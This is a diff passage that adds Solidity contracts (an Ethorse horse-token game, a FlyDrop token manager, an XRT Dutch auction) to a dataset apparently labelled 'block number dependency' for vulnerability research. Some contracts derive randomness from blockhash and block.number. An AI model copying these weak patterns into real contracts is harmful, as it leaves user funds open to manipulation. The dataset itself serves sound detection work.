arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + if(eth_address != address(0)) { + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + } + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + using SafeMath for uint256; + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.008 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitDevAddress(address newAddress) external + onlyOwner() { + _addLegitOwner(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + (,winner) = _isWinnerOf(raceAddress, address(0)); + require(winner != bytes32(0),"Winner is zero"); + require(can_claim(raceAddress, msg.sender),"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value.sub(renamingFee)); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** (uint256(tier).add(1)); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 255) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + using SafeMath for uint256; + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed.add(newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed.div(100).mul(knightEquity); + uint256 paladinPayday = toBeDistributed.div(100).mul(paladinEquity); + + + uint256 jokerPayday = toBeDistributed.sub(knightPayday).sub(paladinPayday); + + _cBalance[jokerAddress] = _cBalance[jokerAddress].add(jokerPayday); + _cBalance[knightAddress] = _cBalance[knightAddress].add(knightPayday); + _cBalance[paladinAddress] = _cBalance[paladinAddress].add(paladinPayday); + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitDevAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/642.sol b/smart_contract_dataset/block number dependency/642.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/642.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/652.sol b/smart_contract_dataset/block number dependency/652.sol new file mode 100644 index 0000000000000000000000000000000000000000..cf328f3f72dda2a12485327d8810120c88f6f6f5 --- /dev/null +++ b/smart_contract_dataset/block number dependency/652.sol @@ -0,0 +1,1310 @@ +pragma solidity 0.4.24; + + + +library ECRecovery { + + + function recover(bytes32 hash, bytes sig) + internal + pure + returns (address) + { + bytes32 r; + bytes32 s; + uint8 v; + + + if (sig.length != 65) { + return (address(0)); + } + + + + + + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + v := byte(0, mload(add(sig, 96))) + } + + + if (v < 27) { + v += 27; + } + + + if (v != 27 && v != 28) { + return (address(0)); + } else { + + return ecrecover(hash, v, r, s); + } + } + + + function toEthSignedMessageHash(bytes32 hash) + internal + pure + returns (bytes32) + { + + + return keccak256( + "\x19Ethereum Signed Message:\n32", + hash + ); + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address _who) public view returns (uint256); + function transfer(address _to, uint256 _value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + + + function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { + + + + if (_a == 0) { + return 0; + } + + c = _a * _b; + assert(c / _a == _b); + return c; + } + + + function div(uint256 _a, uint256 _b) internal pure returns (uint256) { + + + + return _a / _b; + } + + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + assert(_b <= _a); + return _a - _b; + } + + + function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { + c = _a + _b; + assert(c >= _a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) internal balances; + + uint256 internal totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_value <= balances[msg.sender]); + require(_to != address(0)); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address _owner, address _spender) + public view returns (uint256); + + function transferFrom(address _from, address _to, uint256 _value) + public returns (bool); + + function approve(address _spender, uint256 _value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + require(_to != address(0)); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint256 _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint256 _subtractedValue + ) + public + returns (bool) + { + uint256 oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue >= oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + modifier hasMintPermission() { + require(msg.sender == owner); + _; + } + + + function mint( + address _to, + uint256 _amount + ) + public + hasMintPermission + canMint + returns (bool) + { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() public onlyOwner canMint returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + +contract XRT is MintableToken, BurnableToken { + string public constant name = "Robonomics Beta"; + string public constant symbol = "XRT"; + uint public constant decimals = 9; + + uint256 public constant INITIAL_SUPPLY = 1000 * (10 ** uint256(decimals)); + + constructor() public { + totalSupply_ = INITIAL_SUPPLY; + balances[msg.sender] = INITIAL_SUPPLY; + emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); + } +} + + + + + + + +contract DutchAuction { + + + event BidSubmission(address indexed sender, uint256 amount); + + + uint constant public MAX_TOKENS_SOLD = 8000 * 10**9; + uint constant public WAITING_PERIOD = 0; + + + XRT public xrt; + address public ambix; + address public wallet; + address public owner; + uint public ceiling; + uint public priceFactor; + uint public startBlock; + uint public endTime; + uint public totalReceived; + uint public finalPrice; + mapping (address => uint) public bids; + Stages public stage; + + + enum Stages { + AuctionDeployed, + AuctionSetUp, + AuctionStarted, + AuctionEnded, + TradingStarted + } + + + modifier atStage(Stages _stage) { + + require(stage == _stage); + _; + } + + modifier isOwner() { + + require(msg.sender == owner); + _; + } + + modifier isWallet() { + + require(msg.sender == wallet); + _; + } + + modifier isValidPayload() { + require(msg.data.length == 4 || msg.data.length == 36); + _; + } + + modifier timedTransitions() { + if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice()) + finalizeAuction(); + if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD) + stage = Stages.TradingStarted; + _; + } + + + + + + + constructor(address _wallet, uint _ceiling, uint _priceFactor) + public + { + require(_wallet != 0 && _ceiling != 0 && _priceFactor != 0); + owner = msg.sender; + wallet = _wallet; + ceiling = _ceiling; + priceFactor = _priceFactor; + stage = Stages.AuctionDeployed; + } + + + + + function setup(address _xrt, address _ambix) + public + isOwner + atStage(Stages.AuctionDeployed) + { + + require(_xrt != 0 && _ambix != 0); + xrt = XRT(_xrt); + ambix = _ambix; + + + require(xrt.balanceOf(this) == MAX_TOKENS_SOLD); + + stage = Stages.AuctionSetUp; + } + + + function startAuction() + public + isWallet + atStage(Stages.AuctionSetUp) + { + stage = Stages.AuctionStarted; + startBlock = block.number; + } + + + + + function changeSettings(uint _ceiling, uint _priceFactor) + public + isWallet + atStage(Stages.AuctionSetUp) + { + ceiling = _ceiling; + priceFactor = _priceFactor; + } + + + + function calcCurrentTokenPrice() + public + timedTransitions + returns (uint) + { + if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted) + return finalPrice; + return calcTokenPrice(); + } + + + + function updateStage() + public + timedTransitions + returns (Stages) + { + return stage; + } + + + + function bid(address receiver) + public + payable + isValidPayload + timedTransitions + atStage(Stages.AuctionStarted) + returns (uint amount) + { + require(msg.value > 0); + amount = msg.value; + + + if (receiver == 0) + receiver = msg.sender; + + + uint maxWei = MAX_TOKENS_SOLD * calcTokenPrice() / 10**9 - totalReceived; + uint maxWeiBasedOnTotalReceived = ceiling - totalReceived; + if (maxWeiBasedOnTotalReceived < maxWei) + maxWei = maxWeiBasedOnTotalReceived; + + + if (amount > maxWei) { + amount = maxWei; + + receiver.transfer(msg.value - amount); + } + + + wallet.transfer(amount); + + bids[receiver] += amount; + totalReceived += amount; + BidSubmission(receiver, amount); + + + if (amount == maxWei) + finalizeAuction(); + } + + + + function claimTokens(address receiver) + public + isValidPayload + timedTransitions + atStage(Stages.TradingStarted) + { + if (receiver == 0) + receiver = msg.sender; + uint tokenCount = bids[receiver] * 10**9 / finalPrice; + bids[receiver] = 0; + require(xrt.transfer(receiver, tokenCount)); + } + + + + function calcStopPrice() + view + public + returns (uint) + { + return totalReceived * 10**9 / MAX_TOKENS_SOLD + 1; + } + + + + function calcTokenPrice() + view + public + returns (uint) + { + return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1; + } + + + function finalizeAuction() + private + { + stage = Stages.AuctionEnded; + finalPrice = totalReceived == ceiling ? calcTokenPrice() : calcStopPrice(); + uint soldTokens = totalReceived * 10**9 / finalPrice; + + if (totalReceived == ceiling) { + + require(xrt.transfer(ambix, MAX_TOKENS_SOLD - soldTokens)); + } else { + + xrt.burn(MAX_TOKENS_SOLD - soldTokens); + } + + endTime = now; + } +} + + + +interface ENS { + + + event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); + + + event Transfer(bytes32 indexed node, address owner); + + + event NewResolver(bytes32 indexed node, address resolver); + + + event NewTTL(bytes32 indexed node, uint64 ttl); + + + function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public; + function setResolver(bytes32 node, address resolver) public; + function setOwner(bytes32 node, address owner) public; + function setTTL(bytes32 node, uint64 ttl) public; + function owner(bytes32 node) public view returns (address); + function resolver(bytes32 node) public view returns (address); + function ttl(bytes32 node) public view returns (uint64); + +} + + + + +contract PublicResolver { + + bytes4 constant INTERFACE_META_ID = 0x01ffc9a7; + bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de; + bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5; + bytes4 constant NAME_INTERFACE_ID = 0x691f3431; + bytes4 constant ABI_INTERFACE_ID = 0x2203ab56; + bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233; + bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c; + bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1; + + event AddrChanged(bytes32 indexed node, address a); + event ContentChanged(bytes32 indexed node, bytes32 hash); + event NameChanged(bytes32 indexed node, string name); + event ABIChanged(bytes32 indexed node, uint256 indexed contentType); + event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y); + event TextChanged(bytes32 indexed node, string indexedKey, string key); + event MultihashChanged(bytes32 indexed node, bytes hash); + + struct PublicKey { + bytes32 x; + bytes32 y; + } + + struct Record { + address addr; + bytes32 content; + string name; + PublicKey pubkey; + mapping(string=>string) text; + mapping(uint256=>bytes) abis; + bytes multihash; + } + + ENS ens; + + mapping (bytes32 => Record) records; + + modifier only_owner(bytes32 node) { + require(ens.owner(node) == msg.sender); + _; + } + + + function PublicResolver(ENS ensAddr) public { + ens = ensAddr; + } + + + function setAddr(bytes32 node, address addr) public only_owner(node) { + records[node].addr = addr; + AddrChanged(node, addr); + } + + + function setContent(bytes32 node, 